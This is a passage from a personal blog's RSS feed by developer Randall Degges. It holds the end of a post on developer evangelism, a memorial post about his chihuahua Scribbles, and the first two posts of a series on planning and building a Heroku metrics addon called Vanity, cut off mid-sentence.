a useful library, but an elegant and simple one =)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Building out a full featured &lt;a href="https://github.com/stormpath/express-stormpath" title="Express-Stormpath">Express-Stormpath&lt;/a> library which makes
building secure Express.js web apps simple. Just like with our Flask
integration, our Express.js integration does incredibly powerful things that
no other apps out there do, and honestly saves developers using it a ton of
time and energy.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Pair programming with nearly 50 separate users, helping them solve real world
problems related to user authentication. Each time I do it I have a ton of
fun, and get to see how REAL APPS ARE GETTING WRITTEN out there in the &lt;em>real
world&lt;/em> by real people. It&amp;rsquo;s exciting!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Building out an analytics pipeline along with our core engineering team, which
generates all sorts of cool company statistics, and makes tracking progress
possible.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Building out brand new developer library and product documentation, and
developing new systems to automate improve the documentation process.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key Takeaways&lt;/h2>
&lt;p>If you&amp;rsquo;re just getting started with an evangelism role, before diving into your
job, take a few moments to evaluate where your product / service is at in a
realistic way. What&amp;rsquo;s the most valuable thing you can start on immediately?&lt;/p>
&lt;p>One question you should always be asking yourself as you work on projects is:
&lt;em>&amp;ldquo;How will this help a developer trying to do X?&amp;rdquo;&lt;/em> If the answer is &lt;em>&amp;ldquo;it
won&amp;rsquo;t&amp;rdquo;&lt;/em>, you might want to take a step back and reconsider.&lt;/p>
&lt;p>Track your progress (&lt;em>loosely&lt;/em>) via company metrics:&lt;/p>
&lt;ul>
&lt;li>How many new developers make API requests to your service?&lt;/li>
&lt;li>How many of these developers stick around after the first month or so?&lt;/li>
&lt;li>How many new signups do you get per month?&lt;/li>
&lt;li>What programming language is most popular amongst your userbase?&lt;/li>
&lt;li>How is your API usage distributed? Do you have a few customers generating all
your requests? Or is it more evenly distributed?&lt;/li>
&lt;/ul>
&lt;p>If you do things right, you should hopefully see:&lt;/p>
&lt;ul>
&lt;li>An increasing amount of user growth every month.&lt;/li>
&lt;li>An increasing amount of API usage in each programming language when you
improve your developer libraries.&lt;/li>
&lt;li>An increase in API activation rates (&lt;em>how many new signups actually try out
your API service?&lt;/em>) when you simplify on-boarding stuff.&lt;/li>
&lt;/ul>
&lt;p>And &amp;ndash; I think that&amp;rsquo;s just about it.&lt;/p>
&lt;p>I plan to dive into more in-depth articles about evangelism in the future, to
share what things specifically have worked well (&lt;em>and not so well&lt;/em>) for me at
Stormpath. So, if you&amp;rsquo;re interested, be sure to follow along =)&lt;/p></description></item><item><title>Saying Goodbye</title><link>https://rdegges.com/2015/saying-goodbye/</link><pubDate>Fri, 11 Dec 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/saying-goodbye/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-face.jpg" alt="Scribbles Face" title="Scribbles&amp;#39; Face">
&lt;/p>
&lt;p>It&amp;rsquo;s hard to describe in words how painful it is to lose a best friend &amp;ndash; so
instead, I&amp;rsquo;ll simply tell you about how amazing having a best friend can be.&lt;/p>
&lt;p>I didn&amp;rsquo;t have a bad childhood. I grew up in a family with two parents who loved
me and supported me &amp;ndash; and although we had fights and disagreements all the
time, I always felt loved and care for. Despite this, at some point in my
childhood (&lt;em>I can&amp;rsquo;t remember exactly when&lt;/em>), I started to feel very alone.&lt;/p>
&lt;p>In school, I was a good student. I did my homework, followed the rules, and
even played some sports. But after being introduced to computers, my entire
life changed. I was obsessed.&lt;/p>
&lt;p>I no longer felt like being around people. The more I learned about technology,
the more time I wanted to spend locked away in my room, as far away from
everyone else as possible.&lt;/p>
&lt;p>I remember that in high school, there was nobody to share this with. I had very
few friends. I started to gain weight, and for the most part, isolated myself
from everyone else as much as possible.&lt;/p>
&lt;p>Then one day I discovered that a really beautiful girl liked me! I was excited
and nervous. I ended up talking to her on AOL messenger, and we spent many
hours talking about all sorts of interesting academic things. I was very
interested.&lt;/p>
&lt;p>I later discovered that although we didn&amp;rsquo;t have much in common, she enjoyed my
company, and liked hearing me ramble on about all my programming projects and
articles. She liked me despite the fact that I wasn&amp;rsquo;t popular, didn&amp;rsquo;t play
sports, didn&amp;rsquo;t have a lot of friends, and didn&amp;rsquo;t engage in any of the popular
high school activities at the time.&lt;/p>
&lt;p>She liked me for who I was.&lt;/p>
&lt;p>Our first sort-of-date was a few days before Halloween in 2005. She invited me
to go to a party with her, and some friends. So, my friend Eric picked me up
and took me over to her place, where we planned to pick her up and drive over to
the party together.&lt;/p>
&lt;p>When I got to her house, she told me to come inside and take a seat on this
rocking chair in the living room. As soon as I sat down, I remember hearing a
sharp, tiny bark, emanating from the bedroom area. In what I only remember as
a &lt;em>blur&lt;/em>, I saw this incredibly tiny little chihuahua sprint around the
living room, do several laps (&lt;em>while barking&lt;/em>), then sprint back to the bedroom
area where the girl who liked me was getting ready to go.&lt;/p>
&lt;p>Little did I know that girl would become my wife, and that dog my daughter and
best friend.&lt;/p>
&lt;p>This was the first time I ever met Scribbles.&lt;/p>
&lt;p>Scribbles was a very, very loved dog. My then-girlfriend, Sami, loved her more
than anything in the world &amp;ndash; and I mean that literally. Scribbles went with
her almost everywhere, and only felt comfortable when being carried around by
her.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/sami-holding-scribbles.jpg" alt="Sami Holding Scribbles" title="Sami Holding Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/sami-working-on-scribbles.jpg" alt="Sami Working on Scribbles" title="Sami Working on Scribbles">
&lt;/p>
&lt;p>Scribbles became part of my close family almost instantly. She immediately
liked me. Every time I&amp;rsquo;d visit Sami, I&amp;rsquo;d see Scribbles. I&amp;rsquo;d pet her, play with
her, and sneak her human food when Sami wasn&amp;rsquo;t looking.&lt;/p>
&lt;p>She would fall asleep lying in my lap.&lt;/p>
&lt;p>When Sami met my parents and my family, Scribbles did too. My two family dogs:
Doby and Jeny, got along great with her. They quickly became good buddies.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-and-doby-and-jeny.jpg" alt="Scribbles and Doby and Jeny" title="Scribbles and Doby and Jeny">
&lt;/p>
&lt;p>When Sami and I both went off to university, my family adopted Scribbles as
their own, and took care of her while the two of us were away at school. My mom
and dad both loved Scribbles a lot, and always treated her like a princess.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/dad-holding-scribbles.jpg" alt="Dad Holding Scribbles" title="Dad Holding Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/mom-holding-scribbles.jpg" alt="Mom Holding Scribbles" title="Mom Holding Scribbles">
&lt;/p>
&lt;p>As you can tell, they might have even loved her a little &lt;em>too much&lt;/em>! She got
quite plump while living with my parents =)&lt;/p>
&lt;p>When I eventually dropped out of school, moved back to Los Angeles, and married
Sami &amp;ndash; Scribbles became my daughter.&lt;/p>
&lt;p>We lived in a tiny apartment in Canoga Park, in a rough neighborhood. I worked
at home for a 3 person company, just barely making ends meet, and Scribbles was
my only companion most hours of the day.&lt;/p>
&lt;p>I was working constantly at a very small tech company, trying to make big things
happen. In the middle of summer, it was well over 100F, and we only had a wall
unit air conditioner. It was hot, smelly, and stressful.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-and-energy-drinks.jpg" alt="Scribbles and Energy Drinks" title="Scribbles and Energy Drinks">
&lt;/p>
&lt;p>My only real break from work was taking Scribbles out for our habitual walks
around the neighborhood which she liked so much.&lt;/p>
&lt;p>She didn&amp;rsquo;t mind that we lived in a rough area, or that we didn&amp;rsquo;t have a lot of
money. She was always so happy when I got out her leash.&lt;/p>
&lt;p>When Sami and I fought with each other (&lt;em>which happened a lot our first year of
marriage&lt;/em>), Scribbles was always what helped bring us back together. We both
loved her so much that all our petty arguments and stupid nitpicking were
quickly forgotten when we&amp;rsquo;d all lay down together at night in our big bed.&lt;/p>
&lt;p>No matter how upset we were with each other, we&amp;rsquo;d always find time to lay down
with Scribbles, play with her, and dote over her.&lt;/p>
&lt;p>Some of my happiest memories are simply of lying down with Sami and Scribbles
curled up beside me. The amount of happiness, contentment, and love I felt with
both of them beside me was unequaled.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/sami-sleeping-with-scribbles.jpg" alt="Sami Sleeping with Scribbles" title="Sami Sleeping with Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/randall-and-scribbles.jpg" alt="Randall and Scribbles" title="Randall and Scribbles">
&lt;/p>
&lt;p>As I continued to move up in my career, I worked even harder. The first
three-and-a-half years of my marriage was rough: I worked a lot, stayed home
alone almost all the time, and really only hung out with Scribbles.&lt;/p>
&lt;p>With all that time alone together, we really became best friends. When I woke
up every morning I&amp;rsquo;d play with her and make her breakfast. When I worked
throughout the day, she&amp;rsquo;d lie next to me and occasionally look back at me to
make sure I was doing alright.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-working-with-randall.jpg" alt="Scribbles Working with Randall" title="Scribbles Working with Randall">
&lt;/p>
&lt;p>Scribbles was an amazing friend and companion. When either Sami or I were sick,
she&amp;rsquo;d lay next to us in bed until we felt better. If I wasn&amp;rsquo;t feeling great,
she&amp;rsquo;d always be there to hug and squeeze.&lt;/p>
&lt;p>When I was frustrated with a programming challenge, I&amp;rsquo;d start explaining it out
loud to her, and would usually stumble across the solution mid-way through my
explanation. In that regard, she&amp;rsquo;s probably helped me write a few million
dollars worth of code.&lt;/p>
&lt;p>When Scribbles first started coughing, I wasn&amp;rsquo;t worried. I just assumed she was
sick, so I took her to the vet.&lt;/p>
&lt;p>During the visit, the vet told Sami and I that she had a mild heart murmur, and
that it was something common in small dogs as they get older. We weren&amp;rsquo;t
worried. Scribbles started taking heart medication to help out.&lt;/p>
&lt;p>As time progressed, Scribbles seemed to get more and more lethargic. When we
took her back to the vet again, they told us that her heart murmur had worsened,
and increased her medication again. The vets told us not to worry though &amp;ndash;
this is a common issue, and she still had plenty of time left.&lt;/p>
&lt;p>I was not at all worried.&lt;/p>
&lt;p>Scribbles was my dog! She was tough. A little medication would just help her
out and things would be back to normal.&lt;/p>
&lt;p>Over the next year, things got progressively worse. Scribbles would start
coughing more and more, which meant that fluid was building up in her lungs.&lt;/p>
&lt;p>One time, we took her into the vet because the cough had returned, and instead
of just increasing her medication, they put her into an oxygenated chamber to
help her breathe, while they gave her diuretics to help remove the fluid from
her lungs. This was the first time the doctors told us that she may not have
much time left.&lt;/p>
&lt;p>When they put her into that chamber, that was the first time I ever really
broke down. I cried, hard. Up until that point, I had never really considered
the possibility that anything bad would happen to her. It never even dawned on
me that it was possible.&lt;/p>
&lt;p>I was her dad, and I was responsible for making sure she was healthy, happy, and
most importantly: alive. I felt like I was failing as a parent. I was angry,
upset, and incredibly sad all at the same time.&lt;/p>
&lt;p>When Scribbles was returned to us the following day, she was very lethargic. It
took her a week or so to get back to her normal self, and even then, things were
different. Sami and I could tell she didn&amp;rsquo;t feel well.&lt;/p>
&lt;p>She had a hard time breathing, and would take shallow breaths. As we continued
to increase her medication to stabilize her, she stopped eating normal food, and
didn&amp;rsquo;t want to sleep in our bed any longer.&lt;/p>
&lt;p>So Sami and I delt with it as best we could: I hand-cooked chicken breast for
her, and hand-fed her every meal. Sami and I would take turns sleeping on the
couch with her, as she didn&amp;rsquo;t want to be in bed anymore.&lt;/p>
&lt;p>We were both very worried about her and didn&amp;rsquo;t understand what was happening,
but in retrospect, I think she was trying to tell us that she just didn&amp;rsquo;t have
much longer left.&lt;/p>
&lt;p>We did as much as we could to make sure she was happy. We spent a ton of time
with her, loved her, and spoiled her with as many healthy treats as were
allowed.&lt;/p>
&lt;p>When Sami woke me up early one morning, telling me that Scribbles was having a
coughing fit, I instantly knew something was wrong. I threw on a jacket, and we
raced to the emergency vet near our house.&lt;/p>
&lt;p>They immediately hooked Scribbles up to an IV of diuretics, and placed her in an
oxygen chamber. They told us her lungs were very full of water, but that they
would be able to stabilize her.&lt;/p>
&lt;p>Hours later, we got a status update: she wasn&amp;rsquo;t responding well to the
medication &amp;ndash; her heart was very weak, and her kidneys weren&amp;rsquo;t able to pull the
water out of her lungs very efficiently. They wanted to keep her overnight.
They said they would call us if she took a turn for the worse.&lt;/p>
&lt;p>I couldn&amp;rsquo;t really sleep that night. I woke up every hour or so and called the
emergency hotline to check on Scribbles. She wasn&amp;rsquo;t making much progress.&lt;/p>
&lt;p>I felt horribly guilty for keeping her there overnight.&lt;/p>
&lt;p>At about 9am, we drove to the vet&amp;rsquo;s office and spoke with the doctor. Scribbles
was not responding well, and wasn&amp;rsquo;t stabilized. They weren&amp;rsquo;t sure they could
bring her back to a stable level.&lt;/p>
&lt;p>We had to make some tough decisions.&lt;/p>
&lt;p>Asking the doctor to do whatever possible to stabilize her in the next couple of
hours was the second hardest decision I&amp;rsquo;ve ever had to make. We spoke with the
vet, and we met with a very kind lady who would be able to euthanize Scribbles
at our home if we chose that route.&lt;/p>
&lt;p>After many tears were shed, Sami and I made the final call. We told the doctor
that we wanted to take Scribbles home with us for the day, and that we wanted to
put her to sleep that night at our home, with both of us.&lt;/p>
&lt;p>December 11, 2014 was without question the hardest day of my life.&lt;/p>
&lt;p>When we were finally able to pick Scribbles up and take her out of the vet&amp;rsquo;s
office, Sami and I were in shambles. It was incredibly surreal.&lt;/p>
&lt;p>We tried to do what we thought Scribbles would like the most. We went to the
grocery store and bought a rotisserie chicken &amp;ndash; it was her favorite food. We
brought her home and just loved her.&lt;/p>
&lt;p>We hand fed her, we kissed her, we snuggled her, and we laid down together.&lt;/p>
&lt;p>She didn&amp;rsquo;t feel well, and wasn&amp;rsquo;t very active, so we spent most of our time lying
down.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/randall-feeding-scribbles.jpg" alt="Randall Feeding Scribbles" title="Randall Feeding Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/randall-loving-scribbles.jpg" alt="Randall Loving Scribbles" title="Randall Loving Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/sami-loving-scribbles.jpg" alt="Sami Loving Scribbles" title="Sami Loving Scribbles">

&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-sleeping.jpg" alt="Scribbles Sleeping" title="Scribbles Sleeping">
&lt;/p>
&lt;p>We also bought a little paw print kit, and were able to get impressions of
Scribbles&amp;rsquo; paws for us to keep and hold onto.&lt;/p>
&lt;p>When night time came around, Barbara came to our house. It was around 9pm or so
when she arrived.&lt;/p>
&lt;p>We lit candles, we turned the lights off, and I held Scribbles in my arms the
entire time. Before Scribbles went to sleep for the last time, Sami and I both
thanked her for being such a great friend and companion to us over all the
years.&lt;/p>
&lt;p>We told her that we loved her more than anything, and that we were so thankful
to have her in our lives.&lt;/p>
&lt;p>When the time finally came to do it, and we told Barbara to inject the final bit
of medication, Scribbles stood up in my arms, turned to Sami and then myself,
and kissed both of us.&lt;/p>
&lt;p>It was the single hardest moment of my entire life.&lt;/p>
&lt;p>Thinking back about it is still the most painful thing I can imagine. Just
writing this out is incredibly hard.&lt;/p>
&lt;p>Having a friend and companion like Scribbles dramatically changed my life.
Having the sort of unconditional love and affection that only a dog owner can
know is such a beautiful and touching thing.&lt;/p>
&lt;p>It was very hard to say goodbye to my best friend.&lt;/p>
&lt;p>I still think about her almost every single day, and still talk to her from
time-to-time when I&amp;rsquo;m here at home alone. As much as I miss her, I&amp;rsquo;m so
thankful for every second I got to spend with her, and I&amp;rsquo;m so happy that she had
a great life.&lt;/p>
&lt;p>I love you, Scribbles.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/saying-goodbye/scribbles-resting.jpg" alt="Scribbles Resting" title="Scribbles Resting">
&lt;/p></description></item><item><title>Building a Heroku Addon - Planning</title><link>https://rdegges.com/2015/building-a-heroku-addon-planning/</link><pubDate>Wed, 22 Apr 2015 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/building-a-heroku-addon-planning/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/building-a-heroku-addon-planning/robot-with-chaingun-arm-sketch.jpg" alt="Robot with Chaingun Arm Sketch" title="Robot with Chaingun Arm Sketch">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: You&amp;rsquo;re currently reading part 2 of a series I&amp;rsquo;m writing called
&lt;em>&amp;ldquo;Building a Heroku Addon&amp;rdquo;&lt;/em>. If you haven&amp;rsquo;t read the
&lt;a href="https://rdegges.com/2015/building-a-heroku-addon/" title="Building a Heroku Addon">previous installment&lt;/a>, you&amp;rsquo;ll want to go do that before continuing.&lt;/p>
&lt;p>Welcome back! Glad to see you again. In this article I&amp;rsquo;ll be sharing my Heroku
addon plans with you. I&amp;rsquo;ll discuss exactly what I&amp;rsquo;ll be building, what it&amp;rsquo;ll
look like, and how it&amp;rsquo;ll work.&lt;/p>
&lt;p>If there&amp;rsquo;s one thing I&amp;rsquo;ve come to learn through all of my years hacking on
side projects, it&amp;rsquo;s this: &lt;em>always have a goal&lt;/em>.&lt;/p>
&lt;h2 id="the-overall-goal">The Overall Goal&lt;/h2>
&lt;p>I love looking at overall application metrics. There&amp;rsquo;s something inherently
appealing to my own sense of vanity about seeing how many users / requests /
etc. my application has served.&lt;/p>
&lt;p>These numbers aren&amp;rsquo;t at all business metrics &amp;ndash; they&amp;rsquo;re vanity metrics.&lt;/p>
&lt;p>Through speaking with other developer friends, I&amp;rsquo;ve come to realize that it&amp;rsquo;s
not &lt;em>just me&lt;/em> &amp;ndash; lots of other programmers feel the same way! It&amp;rsquo;s a &lt;em>rush&lt;/em>
when you see how much usage &lt;em>your code&lt;/em> is getting &amp;ndash; it&amp;rsquo;s motivating,
inspiring, and more than anything: &lt;em>fun&lt;/em>!&lt;/p>
&lt;p>The purpose of the Vanity addon I&amp;rsquo;ll be creating through this series is to
&lt;strong>provide clear vanity metrics that Heroku developers will enjoy looking at&lt;/strong>.&lt;/p>
&lt;p>The metrics that Vanity provides should be encouraging, inspirational, and fun.
Developers should &lt;em>want&lt;/em> to check their Vanity dashboard as they hack on their
projects, and should view it as a source of enjoyment: not dread.&lt;/p>
&lt;h2 id="list-of-things-to-build">List of Things to Build&lt;/h2>
&lt;p>In regards to what needs to be built &amp;ndash; there are several components to
consider.&lt;/p>
&lt;p>Firstly, I&amp;rsquo;ll need to build an API service (&lt;em>api.vanityaddon.com&lt;/em>), which runs on
a Heroku dyno itself, and implements the &lt;a href="https://devcenter.heroku.com/articles/bootstrapping-add-on-provider" title="Bootstrapping an Addon Provider">Heroku Addon Provider&lt;/a> API
specification. This will allow Heroku developers to run commands like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku addons:add vanity
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku addons:upgrade vanity &amp;lt;planname&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku addons:remove vanity
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;ll need to store Heroku addon users in a database of some sort, and keep track
of their ID and plan information.&lt;/p>
&lt;p>Next up, I need to build a marketing site to advertise the addon (&lt;em>primarily so
developers searching for this thing on Google can find it&lt;/em>). For this, I&amp;rsquo;ll
build a 100% static site that lives at &lt;em>&lt;a href="https://www.vanityaddon.com">www.vanityaddon.com&lt;/a>&lt;/em>. I&amp;rsquo;ll need to
throw something that looks clean and simple together &amp;ndash; as well as generate some
assets (&lt;em>a logo, a banner, etc.&lt;/em>).&lt;/p>
&lt;p>Next, I need to write a Heroku SSO compatible dashboard page. This is the page
that developers will see if they run the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku addons:open vanity
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It should open the user&amp;rsquo;s browser, and immediately show them the Vanity
dashboard having already logged the user in with their Heroku SSO credentials.
This is the primary interface developers will be looking at day-to-day, so it
should be pretty, clean, and intuitive.&lt;/p>
&lt;p>Lastly, I need to write a Heroku CLI plugin. This step is optional (&lt;em>not
required&lt;/em>), but will give the addon a bit of &lt;em>zest&lt;/em>. The CLI plugin should
allow developers to run a simple command like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> heroku vanity
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To output their Vanity metrics to the console.&lt;/p>
&lt;p>I know that &lt;em>I&lt;/em> spend most of my time on the terminal, so this is something I&amp;rsquo;d
want / use. I love web interfaces too &amp;ndash; but I&amp;rsquo;m old school &amp;ndash; there&amp;rsquo;s nothing
quite as satisfying as a command line utility &amp;gt;:)&lt;/p>
&lt;h2 id="functionality-concerns">Functionality Concerns&lt;/h2>
&lt;p>The high level architecture of the Vanity addon will be fairly simple.&lt;/p>
&lt;p>All Vanity needs to do (&lt;em>when provisioned&lt;/em>) is create a &lt;a href="https://devcenter.heroku.com/articles/log-drains" title="Heroku Log Drains">syslog drain&lt;/a> to
capture &lt;em>all&lt;/em> of an application&amp;rsquo;s Heroku logs. These logs can then be parsed
later to generate various metrics.&lt;/p>
&lt;p>Since all of the Vanity metrics are going to be fairly simple (&lt;em>at least, at
first&lt;/em>), there should be no need for developers to learn any new technologies to
use this addon &amp;ndash; they should simply be able to provision it from the Heroku
marketplace and instantly start enjoying the service.&lt;/p>
&lt;p>In regards to what metrics Vanity will need to display &amp;ndash; I think that the most
important things to cover initially will be:&lt;/p>
&lt;ul>
&lt;li>How many total requests have been served over a given timeframe.&lt;/li>
&lt;li>How many total successful requests have been served over a given timeframe.&lt;/li>
&lt;li>How many total failed requests have been served over a given timeframe.&lt;/li>
&lt;/ul>
&lt;p>In the future, as I think about this more, I&amp;rsquo;m sure there will be other metrics
to consider &amp;ndash; but for now, I think these will suffice. If you have any good
ideas of what metrics you&amp;rsquo;d like to see included &amp;ndash; &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">email me&lt;/a>!&lt;/p>
&lt;h2 id="design-mockup">Design Mockup&lt;/h2>
&lt;p>I&amp;rsquo;m not a great designer (&lt;em>I&amp;rsquo;m more of a backend guy&lt;/em>), but I can most
definitely hack together a clean front-end using tools like &lt;a href="http://getbootstrap.com/" title="Twitter Bootstrap">Bootstrap&lt;/a> and
&lt;a href="https://bootswatch.com/" title="Bootswatch - Themes for Bootstrap">Bootswatch&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s what I&amp;rsquo;m thinking the dashboard layout will look like:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2015/building-a-heroku-addon-planning/vanity-dashboard-mockup.png" alt="Vanity Dashboard Mockup" title="Vanity Dashboard Mockup">
&lt;/p>
&lt;p>I think this is suitable for a first release, and as I continue working on this
series I&amp;rsquo;ll fine tune the details. Again &amp;ndash; if you have any ideas, let me know
via &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">email&lt;/a>. I love getting input from fellow developers!&lt;/p>
&lt;h2 id="pricing-thoughts">Pricing Thoughts&lt;/h2>
&lt;p>Running the Vanity addon won&amp;rsquo;t be terribly expensive, but could most definitely
become expensive over time as the addon will be storing &lt;em>every single log from
every single Heroku dyno using Vanity&lt;/em>. I can see this adding up to quite a bit
of storage space in a short period of time.&lt;/p>
&lt;p>The main cost will likely be storage space on Amazon S3.&lt;/p>
&lt;p>Secondary costs will include some sort of database server for processing
metrics. I&amp;rsquo;ve got a bunch of choices for this &amp;ndash; so I&amp;rsquo;ll skip on the guess work
for now and save that for the next article in the series where I discuss
research.&lt;/p>
&lt;p>There will also be fees for running syslog servers which ingest all incoming
logs. I&amp;rsquo;m not sure how well syslog &lt;em>&amp;ldquo;scales&amp;rdquo;&lt;/em>, or what type of EC2 requirements
it has for my estimated workload, so I won&amp;rsquo;t estimate costs here.&lt;/p>
&lt;p>Next up is email fees. I&amp;rsquo;ll likely be using &lt;a href="http://www.mailgun.com/" title="mailgun">mailgun&lt;/a> to send email as I love
their service, so depending on how many addon users I have, I might end up
spending a few dollars per month on transactional email fees (&lt;em>not much&lt;/em>).&lt;/p>
&lt;p>For addon plans, I&amp;rsquo;d like to definitely offer a free plan, which would most
likely restrict metrics to the current day only (&lt;em>this way I can purge old logs
to decrease my storage fees&lt;/em>), and provide several other addon plans that
provide for various levels of metric storage / analysis.&lt;/p>
&lt;h2 id="next-time">Next Time&lt;/h2>
&lt;p>Welp, that&amp;rsquo;s about it for this installment. Hope you had a good time!&lt;/p>
&lt;p>In the next article, I&amp;rsquo;ll be discussing all of my research. I&amp;rsquo;ll research and
summarize the technical details of what I&amp;rsquo;ll need to do to build this thing,
figure out cost approximations based on tools / usage, and also provide lots of
useful links for anyone else (&lt;em>like you!&lt;/em>) who wants to build their own Heroku
addon.&lt;/p>
&lt;p>So&amp;hellip; Stay tuned! More to come soon!&lt;/p></description></item><item><title>Building a Heroku Addon</title><link>https://rdegges.com/2015/building-a-heroku-addon/</link><pubDate>Mon, 06 Apr 2015 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/building-a-heroku-addon/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/building-a-heroku-addon/retro-robot-sketch.jpg" alt="Retro Robot Sketch" title="Retro Robot Sketch">
&lt;/p>
&lt;p>I hope it&amp;rsquo;s no surprise to any of you that I&amp;rsquo;m a big fan of &lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a>. If
you&amp;rsquo;re not already familiar with the service, it&amp;rsquo;s probably the most popular,
well designed, oldest, and best all around platform-as-a-service company.&lt;/p>
&lt;p>Heroku hosts all sorts of applications (&lt;em>large and small&lt;/em>), and does so in a
best practices way.&lt;/p>
&lt;p>If you want to learn more about Heroku, you might enjoy reading an old post I
wrote on it: &lt;a href="http://www.rdegges.com/heroku-isnt-for-idiots/" title="Heroku Isn't for Idiots">Heroku Isn&amp;rsquo;t for Idiots&lt;/a>, or possibly even check out my book:
&lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>.&lt;/p>
&lt;p>But&amp;hellip; Enough messing around. Let&amp;rsquo;s get into this.&lt;/p>
&lt;p>In this series we&amp;rsquo;re going to build a full, live, Heroku addon together. I&amp;rsquo;ll
walk you through each step of the process, I&amp;rsquo;ll show you all the code, and I&amp;rsquo;ll
explain things every step of the way.&lt;/p>
&lt;p>If you&amp;rsquo;ve ever wanted to build a Heroku addon (&lt;em>or learn more about how they
work&lt;/em>), this series is for you.&lt;/p>
&lt;p>Now, throughout this series I&amp;rsquo;ll be writing my code in Node.js, but the
principles apply regardless of what language you&amp;rsquo;re using. My goal is to make
this a fun, informative, and practical series that everyone can benefit from.&lt;/p>
&lt;h2 id="a-quick-review-of-addons">A Quick Review of Addons&lt;/h2>
&lt;p>One of my favorite parts of Heroku is&amp;hellip; Addons!&lt;/p>
&lt;p>The core Heroku platform is very simple:&lt;/p>
&lt;ul>
&lt;li>You put your code into a Git repository.&lt;/li>
&lt;li>You tell Heroku what commands to run to start your project code (&lt;em>usually your
web server&lt;/em>).&lt;/li>
&lt;li>You tell Heroku what environment variables to set to store secret information
(&lt;em>API keys, etc.&lt;/em>).&lt;/li>
&lt;li>You push your Git repository to Heroku, and they deploy your app and run it on
as many servers (&lt;em>dynos&lt;/em>) as you want!&lt;/li>
&lt;/ul>
&lt;p>&lt;em>SIMPLE&lt;/em>, right?&lt;/p>
&lt;p>Well, what happens if your project needs access to additional resources to run?
Databases? Cache servers? Queueing servers? Etc?&lt;/p>
&lt;p>&lt;em>ADDONS&lt;/em>!&lt;/p>
&lt;p>This is what addons are for: providing additional infrastructure / services for
your application to use.&lt;/p>
&lt;p>You can view a list of all available addons here: &lt;a href="https://addons.heroku.com/" title="Heroku Addon Marketplace">addons.heroku.com&lt;/a>
(&lt;em>go ahead and look, there are quite a few great ones!&lt;/em>).&lt;/p>
&lt;p>Addons are awesome because they allow Heroku developers to:&lt;/p>
&lt;ul>
&lt;li>Instantly provision infrastructure / additional services.&lt;/li>
&lt;li>Scale these services up and down instantly.&lt;/li>
&lt;li>Pay for services with their Heroku account (&lt;em>this means addon usage is
pro-rated to the second&lt;/em>) &amp;ndash; if you spin up a paid addon service for 10
seconds, you&amp;rsquo;ll pay for exactly 10 seconds worth of usage.&lt;/li>
&lt;/ul>
&lt;p>Addons are, in my opinion, the most optimal and efficient way of using and
integrating with infrastructure components.&lt;/p>
&lt;p>And the best part? Anyone can make an addon.&lt;/p>
&lt;p>Heroku provides an API for addon providers &amp;ndash; you implement their API spec, and
you can get listed in the addon marketplace.&lt;/p>
&lt;p>Which brings us to the next section:&lt;/p>
&lt;h2 id="lets-build-an-addon">Let&amp;rsquo;s Build an Addon&lt;/h2>
&lt;p>Over the past several years, I&amp;rsquo;ve actually built and worked on several Heroku
addons. Some are in the addon marketplace right now!&lt;/p>
&lt;p>Building addons is quite simple. And fun! So I figured why not build one out
in the open?&lt;/p>
&lt;p>Through this series I&amp;rsquo;ll be walking you through the process of building my new
